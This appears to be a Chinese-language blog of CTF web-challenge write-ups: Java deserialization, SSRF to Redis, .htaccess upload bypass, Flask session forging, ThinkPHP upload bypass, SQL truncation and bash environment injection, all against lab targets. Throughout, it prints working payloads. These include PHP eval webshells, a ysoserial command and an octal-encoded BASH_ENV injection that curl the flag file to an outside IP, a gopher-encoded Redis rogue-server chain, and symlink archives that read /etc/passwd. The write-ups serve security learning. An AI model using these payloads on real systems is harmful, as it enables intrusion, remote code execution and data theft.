exp:(但是为什么访问这个文件之后直接给了我flag 啊嘞嘞
1 2 3 4 5 6 7 8 9 10 import requests url = 'http://bf90b9dc-566d-4408-a099-425349ed8da3.node4.buuoj.cn:81/?s=/&a=upload' files = {'file' : ('1.<>php' , '<?php eval($_POST[\'cmd\']);?>' )} r = requests.session().post(url, files=files) print (r.text)
后记 唔,感觉来说,读懂代码已经不是难事了,但是我的思维总是时不时地陷入某个牛角尖,怎么都走不出来
应该说是还是对这些特殊的函数之类不太敏感
[网鼎杯 2020 朱雀组]Think Java
java反序列化
存在包:import io.swagger.annotations.ApiOperation;
直接访问swagger-ui.html
可以得到三个接口
在SqlDict,class
中可以发现存在sql注入
1 2 3 4 5 while (tableNames.next()) { TableName = tableNames.getString(3 ); Table table = new Table(); String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';" ; ResultSet rs = stmt.executeQuery(sql);
测试myapp?a=1' or 1=1#
的时候可以把user
表的信息给爆破出来,发现存在id|name|pwd
,那么直接注入获取用户信息登录
1 2 name:admin password:admin@Rrrr_ctf_asde
登录之后发现有base64编码的内容,解码之后很容易就能看出来是java序列化出来的字节码,说明存在java反序列化,可以在/common/user/current
中进行认证实现java反序列化的触发
直接ysoserial
1 java -jar ysoserial.jar ROME "curl 82.156.2.166:8888 -d @/flag" | base64 -w 0
得出来的结果要用curl传,不然监听不到内容
得到flag
[网鼎杯 2020 玄武组]SSRFMe 直接给了一点源码,可以发现在方法safe_request_url
中存在curl_exec
函数导致php的SSRF,所以在check_inner_ip
中要返回false并且不能die了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 function safe_request_url ($url ) { if (check_inner_ip($url )) { echo $url .' is inner ip' ; } else { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch , CURLOPT_HEADER, 0 ); $output = curl_exec($ch ); $result_info = curl_getinfo($ch ); if ($result_info ['redirect_url' ]) { safe_request_url($result_info ['redirect_url' ]); } curl_close($ch ); var_dump($output ); } }
check_inner_ip
要求使用的协议只能是http|https|gopher|dict
,并且要求ip不能是127.0.0.0|10.0.0.0|172.16.0.0|192.168.0.0
等格式,但是我们大多数的时候会用到127.0.0.1
,所以必须要绕过,可以发现parse_url
是存在漏洞的,直接利用它绕过吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php function check_inner_ip ($url ) { $match_result =preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/' ,$url ); if (!$match_result ) { die ('url fomat error' ); } try { $url_parse =parse_url($url ); } catch (Exception $e ) { die ('url fomat error' ); return false ; } $hostname =$url_parse ['host' ]; $ip =gethostbyname($hostname ); $int_ip =ip2long($ip ); return ip2long('127.0.0.0' )>>24 == $int_ip >>24 || ip2long('10.0.0.0' )>>24 == $int_ip >>24 || ip2long('172.16.0.0' )>>20 == $int_ip >>20 || ip2long('192.168.0.0' )>>16 == $int_ip >>16 ; }
parse_url 1 2 3 <?php $a = 'http:///127.0.0.1?url=1' ; var_dump(parse_url($a ));
做题 尝试 会导致ip2long('192.168.0.0')>>16 == $int_ip>>16
返回true,可以用0.0.0.0
绕过
1 var_dump(gethostbyname("" ));
hint.php
,经典利用base64绕过exit()
,但是这里有点难构造因为他会把post传的参数也直接放到了文件内容里面,因为base解码的时候会捕获到最后一个=
,所以最终还是没用base,但是试过之后发现写不进去,应该是没有权限
file_put_contents利用技巧(php://filter协议) - yokan - 博客园 (cnblogs.com)
1 2 3 4 5 6 7 <?php if ($_SERVER ['REMOTE_ADDR' ]==="127.0.0.1" ){ highlight_file(__FILE__ ); } if (isset ($_POST ['file' ])){ file_put_contents($_POST ['file' ],"<?php echo 'redispass is root';exit();" .$_POST ['file' ]); }
源码给了hint,存在redis
,那么ssrf+redis
redis主从复制RCE https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
得先去看一下redis
的信息,但是没有权限看,直接gopher协议打,用上面两个工具
1 gopher%3A%2F%2F0.0.0.0%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252412%250D%250A82.156.2.166%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%25242%250D%250Als%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
但是会报错找不到system.exec
命令,说明exp.so
文件没有被复制过去,但是我用的不是buu的靶机呀
[JMCTF 2021]UploadHub
php_flag engine
.htaccess
在apache2.conf
中设置了php_flag engine off
,这使得不会解析php文件,所以不能直接上传php文件可以发现可以上传.htaccess
1 2 3 4 5 <Directory ~ "/var/www/html/upload/[a-f0-9]{32}/"> php_flag engine off </Directory> AccessFileName .htaccess
0x01:日常踩坑 config.php
,过滤了$_GET数组里的单引号和双引号和一些关键字,关键字可以利用双写绕过,但是单引号和双引号不可以
1 2 3 4 5 6 7 8 9 foreach ($_GET as $key => $value ) { $value = str_ireplace('\'' ,'' ,$value ); $value = str_ireplace('"' ,'' ,$value ); $value = str_ireplace('union' ,'' ,$value ); $value = str_ireplace('select' ,'' ,$value ); $value = str_ireplace('from' ,'' ,$value ); $value = str_ireplace('or' ,'' ,$value ); $_GET [$key ] =$value ; }
index.php
如果submit有值,也就是如果存在文件上传,就会判断文件后缀名并对文件名进行特殊符号转义,很难进行sql注入,但是或许可以利用宽字节绕过(失败
1 2 3 4 5 6 7 8 $allow_type =array ("jpg" ,"gif" ,"png" ,"bmp" ,"tar" ,"zip" );$filename =addslashes($_FILES ['file' ]['name' ]);$sql ="insert into img (filename) values ('$filename ')" ;$conn ->query($sql );$sql ="select id from img where filename='$filename '" ;$result =$conn ->query($sql )
0x02:做题 既然接受.htaccess
,那就直接上传
因为设置了php_flag engine off
导致不能解析php文件,但是.htaccess
是可以重新设置的,那么就可以直接上传一下:
1 2 3 4 5 6 7 8 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch> php_value auto_prepend_file .htaccess #<?php eval($_POST['dmind']);?>
[HCTF 2018]Hideandseek
随便登录就可以了,进去之后是一个文件上传的页面,给了hint再加上session明显就是flask_session,拿去强制解密一下可以发现会把username记录,而我们一开始登录的时候如果尝试登录admin会登不上去,说明我们要伪造admin身份,那么就是要去找一下SECRET_KEY
了
随便压缩一个文件,上传。会发现他会自动“解析(?)”压缩文件把文件内容显示出来,说明是否可以读取任意文件
软连接
将文件与命令文件进行软连接的时候,生成的文件是可执行的,但是这里只是获取文件内容,所以和软连接到命令文件没多大用
做题 直接试一下
1 2 ln -s /etc/passwd passwd zip --symlinks passwd.zip passwd
上传之后可以得到文件内容,那就尝试看一下环境变量
1 2 ln -s /proc/self/environ environ zip --symlinks env.zip environ
可以知道工作目录是在app
下,存在/app/uwsgi.ini
等
查看uwsgi.ini
之后发现有日志文件,但是没有内容,就这样卡了((
1 [uwsgi] module = main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log
buu((((
buuoj的环境有点问题, /app/uwsgi.ini回显中应该是module=/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py,读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py即可得到源文件
main.py
首先,random.seed()
的作用和php的mt_srand
作用是相同的,存在种子的时候产生的随机数其实是伪随机的
该 **uuid.getnode()
**函数用于获取网络接口的MAC地址。如果机器具有多个网络接口,则返回通用管理的MAC地址,而不是通过本地管理的MAC地址返回。管理的MAC地址保证是全局唯一的
1 2 3 random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY' ] = str(random.random()*100 )
所以要去获取MAC地址并将MAC地址转成十进制,用于生成伪随机数
1 2 ln -s /sys/class/net/eth0/address add zip --symlinks add.zip add
MAC地址:
1 2 3 4 5 c6:36:6d:36:ea:50 >> 217937062849104 随机数 >> 30.338594317945777
正常显示了,说明密钥是正确的,那么直接伪造
得到flag
[网鼎杯 2020 半决赛]faka
审计 sql
存在admin用户
1 2 INSERT INTO `system_user` VALUES (10005,'admin','81c47be5dc6110d5087dd4af8dc56552',NULL,'12345678@qq.com','12345678','demo',264,'2020-03-20 14:38:56',1,'3',0,NULL,'2018-05-02 00:40:09',NULL); >> admin admincccbbb123
因为是thinkphp5,试着打一下payload,不过没过
直接审计实在太累了,先过一下前端,存在登陆注册,注册需要邀请码但是题目已经给了直接登录就好,但是登陆页面也没有什么比较特别的内容,修改密码处看了源码之后也不存在sql注入
那就直接admin登录好了
解题1 在备份管理处可以进行备份并存在任意文件下载,直接复制链接
1 http://cb125922-f00c-469f-9f16-29370170d6fe.node4.buuoj.cn:81/manage/backup/downloadBak?file=test_20220628141557_429808621.sql
特征太明显了直接下载flag.txt
1 http://cb125922-f00c-469f-9f16-29370170d6fe.node4.buuoj.cn:81/manage/backup/downloadBak?file=../../../../flag.txt
解题2 存在文件上传路径
先去看代码:
upload
函数,进行文件上传,可以上传md5来对文件路径以及文件名进行操作,然后会对文件上传进行Token验证,但是由于session_id()
默认为空,所以会比较好验证,之后就是到File
类中对文件上传进行处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public function upload ( ) { $file = $this ->request->file('file' ); $ext = strtolower(pathinfo($file ->getInfo('name' ), 4 )); $md5 = str_split($this ->request->post('md5' ), 16 ); $filename = join('/' , $md5 ) . ".{$ext} " ; if (strtolower($ext ) == 'php' || !in_array($ext , explode(',' , strtolower(sysconf('storage_local_exts' ))))) { return json(['code' => 'ERROR' , 'msg' => '文件上传类型受限' ]); } if ($this ->request->post('token' ) !== md5($filename . session_id())) { return json(['code' => 'ERROR' , 'msg' => '文件上传验证失败' ]); } if (($info = $file ->move('static' . DS . 'upload' . DS . $md5 [0 ], $md5 [1 ], true ))) { if (($site_url = FileService::getFileUrl($filename , 'local' ))) { return json(['data' => ['site_url' => $site_url ], 'code' => 'SUCCESS' , 'msg' => '文件上传成功' ]); } } return json(['code' => 'ERROR' , 'msg' => '文件上传失败' ]); }
move
函数前半段会对文件进行检测,检测是否合理以及图片类型等,可以用GIF89a
绕过,然后就是对文件名进行规则检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public function move ($path , $savename = true , $replace = true ) { …… $path = rtrim($path , DS) . DS; $saveName = $this ->buildSaveName($savename ); $filename = $path . $saveName ; if (false === $this ->checkPath(dirname($filename ))) { return false ; } if (!$replace && is_file($filename )) { $this ->error = ['has the same filename: {:filename}' , ['filename' => $filename ]]; return false ; } if ($this ->isTest) { rename($this ->filename, $filename ); } elseif (!move_uploaded_file($this ->filename, $filename )) { $this ->error = 'upload write error' ; return false ; } $file = new self ($filename ); $file ->setSaveName($saveName )->setUploadInfo($this ->info); return $file ; }
在buildSaveName
会进行判断,如果进行保存的文件名里如果不存在.
才会将后缀名加上,那么如果我们一开始就把值给删改了,那就可以绕过了
1 2 3 4 if (!strpos($savename , '.' )) { $savename .= '.' . pathinfo($this ->getInfo('name' ), PATHINFO_EXTENSION); }
1 2 3 4 5 上传文件: GIF89a <?php eval($_POST['cmd']);?> md5: 将后四位改成`.php`
FBCTF2019]Products Manager
www.zip
存在增加和查看product
的功能,而在db.php
的注释中我们可以看到表的结构以及flag在facebook
中,并且products
的name并没有在数据库中规定unique,而只是在后端通过查询来检测是否已经存在该行
1 2 3 4 5 6 7 8 9 10 11 CREATE TABLE products ( name char (64 ), secret char (64 ), description varchar (250 ) ); INSERT INTO products VALUES ('facebook' , sha256(....), 'FLAG_HERE' );INSERT INTO products VALUES ('messenger' , sha256(....), ....);INSERT INTO products VALUES ('instagram' , sha256(....), ....);INSERT INTO products VALUES ('whatsapp' , sha256(....), ....);INSERT INTO products VALUES ('oculus-rift' , sha256(....), ....);
基于约束条件的SQL注入
如果我们插入的名字后面加上超过限制的空格,在插入的时候数据库就会把数据后面的空格删掉
使得对应的数据的secret
被改变
通过查询facebook
得到flag
[LineCTF2022]BB
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0 ); function bye ($s , $ptn ) { if (preg_match($ptn , $s )){ return false ; } return true ; } foreach ($_GET ["env" ] as $k =>$v ){ if (bye($k , "/=/i" ) && bye($v , "/[a-zA-Z]/i" )) { putenv("{$k} ={$v} " ); } } system("bash -c 'imdude'" ); foreach ($_GET ["env" ] as $k =>$v ){ if (bye($k , "/=/i" )) { putenv("{$k} " ); } } highlight_file(__FILE__ ); ?>
在注入先得先要绕过preg_match
,可以利用十六进制绕过
十六进制绕过 https://blog.csdn.net/RABCDXB/article/details/125351004
1 2 cat: $'\143\141\164' $'\143\141\164' poc.xml
环境变量注入 我是如何利用环境变量注入执行任意命令
因为没有上传点,所以也不知道该把so文件上传到哪里,所以往后看,利用BASH_ENV
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import stringcmd = 'cat /flag | curl -d @- http://ip:8989/' flag = "$'" for a in cmd: if a in string.ascii_lowercase: a = oct (ord (a))[2 :] flag += "\\" + a else : flag += a print (flag)
payload:
1 ?env[BASH_ENV]=`$'\143\141\164' /$'\146\154\141\147' | $'\143\165\162\154' -$'\144' @- $'\150\164\164\160'://ip:8989/`
Reference Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
[蓝帽杯 2021]One Pointer PHP
利用pearcmd.php从LFI到getshell
https://blog.csdn.net/weixin_43610673/article/details/122955159
https://xz.aliyun.com/t/10032#toc-12
https://blog.csdn.net/SopRomeo/article/details/108967248
https://blog.csdn.net/m0_49835838/article/details/122718372
Apache POI XML外部实体(XML External Entity,XXE)攻击详解 - 简书 (jianshu.com)
https://xz.aliyun.com/t/6628#toc-4
https://blog.csdn.net/rfrder/article/details/116036092
file_put_contents利用技巧(php://filter协议) - yokan - 博客园 (cnblogs.com)
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
https://blog.csdn.net/RABCDXB/article/details/119654409
https://blog.csdn.net/wlllllianqing/article/details/120274851
https://tttang.com/archive/1384/